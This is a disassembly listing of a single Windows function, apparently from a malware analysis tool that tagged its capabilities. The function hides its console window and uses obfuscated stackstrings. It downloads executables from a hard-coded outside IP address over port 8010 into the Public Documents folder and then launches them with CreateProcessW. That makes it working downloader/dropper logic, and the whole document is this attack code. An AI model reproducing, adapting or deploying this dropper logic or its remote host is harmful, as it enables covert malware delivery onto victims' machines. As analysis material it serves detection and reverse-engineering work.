Function at 0x401770
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Download url
Hide graphical window
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402efd
mov eax, dword fs:[0]
push eax
sub esp, 0x13c
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x24
xor eax, eax
mov dword [ebp - 0x148], 0
push str.http:__116.213.42.19:8010_client.exe
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0x6573796d
mov dword [ebp - 0x18], 0x74657263
mov word [ebp - 0x14], 0x796b
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 7
mov word [ebp - 0x148], ax
call fcn.00401640
push 0xa
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xdc]
push eax
call fcn.00401480
add esp, 0x10
mov edx, dword [ebp - 0x134]
mov byte [ebp - 4], 2
cmp edx, 8
jb 0x40185f
mov ecx, dword [ebp - 0x148]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401855
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
push 0x24
xor eax, eax
mov dword [ebp - 0x148], 0
push str.C:UsersPublicDocumentsClient.exe
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 7
mov word [ebp - 0x148], ax
call fcn.00401640
push 0xa
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xc4]
push eax
call fcn.00401480
add esp, 0x10
mov edx, dword [ebp - 0x134]
mov byte [ebp - 4], 5
cmp edx, 8
jb 0x4018fc
mov ecx, dword [ebp - 0x148]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4018f2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
push 0xa
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.00401480
push 0xa
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 6
push eax
lea eax, [ebp - 0xc4]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.00401480
add esp, 0x20
cmp dword [ebp - 0x38], 8
lea ecx, [ebp - 0x4c]
push 0
cmovae ecx, dword [ebp - 0x4c]
lea eax, [ebp - 0x7c]
cmp dword [ebp - 0x68], 8
push 0
cmovae eax, dword [ebp - 0x7c]
push ecx
push eax
push 0
mov byte [ebp - 4], 7
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
je 0x40196f
push 0x40325c
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call section..text
jmp 0x401ce7
push 0x40
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x120], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x130]
cmp dword [ebp - 0x38], 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push ecx
lea ecx, [ebp - 0x120]
push ecx
push 0
push 0
push 0x10
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4019d3
push 0x403284
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call section..text
jmp 0x401ce7
push dword [ebp - 0x12c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x130]
call esi
push 0x28
xor eax, eax
mov dword [ebp - 0x148], 0
push 0x4032a8
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 7
mov word [ebp - 0x148], ax
call fcn.00401640
push 0xa
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xac]
push eax
call fcn.00401480
add esp, 0x10
mov edx, dword [ebp - 0x134]
mov byte [ebp - 4], 0xa
cmp edx, 8
jb 0x401a86
mov ecx, dword [ebp - 0x148]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401a7c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
push 0x28
xor eax, eax
mov dword [ebp - 0x148], 0
push str.C:UsersPublicDocumentslibc010url.exe
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 7
mov word [ebp - 0x148], ax
call fcn.00401640
push 0xa
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 0xb
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x94]
push eax
call fcn.00401480
add esp, 0x10
mov edx, dword [ebp - 0x134]
mov byte [ebp - 4], 0xd
cmp edx, 8
jb 0x401b23
mov ecx, dword [ebp - 0x148]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401b19
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
push 0xa
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.00401480
push 0xa
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 0xe
push eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00401480
add esp, 0x20
cmp dword [ebp - 0x20], 8
lea ecx, [ebp - 0x34]
push 0
cmovae ecx, dword [ebp - 0x34]
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x50], 8
push 0
cmovae eax, dword [ebp - 0x64]
push ecx
push eax
push 0
mov byte [ebp - 4], 0xf
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
je 0x401b88
push 0x403354
jmp 0x401bc3
cmp dword [ebp - 0x20], 8
lea ecx, [ebp - 0x130]
push ecx
lea ecx, [ebp - 0x120]
push ecx
push 0
push 0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x401e10
push 0x403368
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call section..text
mov edx, dword [ebp - 0x20]
add esp, 8
cmp edx, 8
jb 0x401c0b
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401c01
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov edx, dword [ebp - 0x50]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 8
jb 0x401c59
mov ecx, dword [ebp - 0x64]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401c4f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov edx, dword [ebp - 0x80]
xor eax, eax
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 7
mov word [ebp - 0x64], ax
cmp edx, 8
jb 0x401caa
mov ecx, dword [ebp - 0x94]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401ca0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov edx, dword [ebp - 0x98]
cmp edx, 8
jb 0x401cea
mov ecx, dword [ebp - 0xac]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401ce0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x401d24
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401d1a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov edx, dword [ebp - 0x68]
xor eax, eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 7
mov word [ebp - 0x4c], ax
cmp edx, 8
jb 0x401d72
mov ecx, dword [ebp - 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401d68
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov edx, dword [ebp - 0xb0]
xor eax, eax
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 7
mov word [ebp - 0x7c], ax
cmp edx, 8
jb 0x401dc6
mov ecx, dword [ebp - 0xc4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401dbc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov edx, dword [ebp - 0xc8]
cmp edx, 8
jb 0x401e06
mov ecx, dword [ebp - 0xdc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401dfc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov eax, 1
jmp 0x402055
push dword [ebp - 0x12c]
call esi
push dword [ebp - 0x130]
call esi
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x401e5a
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401e50
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov edx, dword [ebp - 0x50]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 8
jb 0x401ea8
mov ecx, dword [ebp - 0x64]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401e9e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov edx, dword [ebp - 0x80]
xor eax, eax
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 7
mov word [ebp - 0x64], ax
cmp edx, 8
jb 0x401ef9
mov ecx, dword [ebp - 0x94]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401eef
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov edx, dword [ebp - 0x98]
cmp edx, 8
jb 0x401f39
mov ecx, dword [ebp - 0xac]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401f2f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x401f73
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401f69
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov edx, dword [ebp - 0x68]
xor eax, eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 7
mov word [ebp - 0x4c], ax
cmp edx, 8
jb 0x401fc1
mov ecx, dword [ebp - 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401fb7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov edx, dword [ebp - 0xb0]
xor eax, eax
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 7
mov word [ebp - 0x7c], ax
cmp edx, 8
jb 0x402011
mov ecx, dword [ebp - 0xc4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402007
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402043
push edx
push ecx
call fcn.004020b1
add esp, 8
mov edx, dword [ebp - 0xc8]
cmp edx, 8
jb 0x402053
mov ecx, dword [ebp - 0xdc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402049
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402049
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004020b1
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004020bf
mov esp, ebp
pop ebp
ret